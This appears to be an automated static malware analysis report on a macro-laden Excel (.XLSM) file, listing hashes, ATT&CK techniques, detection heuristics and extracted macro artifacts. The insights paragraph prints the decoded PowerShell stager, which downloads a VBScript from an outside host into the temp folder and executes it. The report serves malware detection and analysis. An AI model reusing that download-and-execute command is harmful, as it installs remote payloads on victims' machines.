Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 c3cc088cf238fb38…

MALICIOUS

Office (OOXML) / .XLSM

90.2 KB Created: 2020-05-28 15:04:16 UTC Authoring application: Microsoft Excel 16.0300
MD5: f87960e83ded6f88bef4a4d6cdeba6f6 SHA-1: 9bb2af0138d0b71747c6b6e81caf2d5b309e0184 SHA-256: c3cc088cf238fb3809c618d6f0be51c608eabb70deaf026e7f7480fff49afc77
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an XLSM file containing VBA macros. The Workbook_Open macro triggers a critical OLE_VBA_SHELL heuristic, indicating the execution of external commands. Specifically, a Base64-decoded shell command stager was identified, which reconstructs to: powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://worldwidetechsecurity.com/Megatron/multistation.vbs',$env:Temp+'\multistation.vbs');(New-Object -com Shell.Application).ShellEx. This command downloads a VBScript from 'http://worldwidetechsecurity.com/Megatron/multistation.vbs' to the temporary directory and then executes it, likely serving as a downloader for a second-stage payload.

Heuristics 8

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains vbaProject.bin — VBA macros present
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revision
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
f181ca9a7b4c6f5f3ecf6516fbba11bbf7d348f1895199597bdc9e46b5364932
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3050 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved artifact contains 1 long base64-like blob(s). Carved macro source contains an auto-exec entry point and execution/download terms.
vbaProject_00.bin
9c04dcb525ff751e8bfd090c62037d96a50b1879f8c8a9bbf115f4cb1b6cde61
vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved artifact contains 1 long base64-like blob(s). Carved macro source contains an auto-exec entry point and execution/download terms.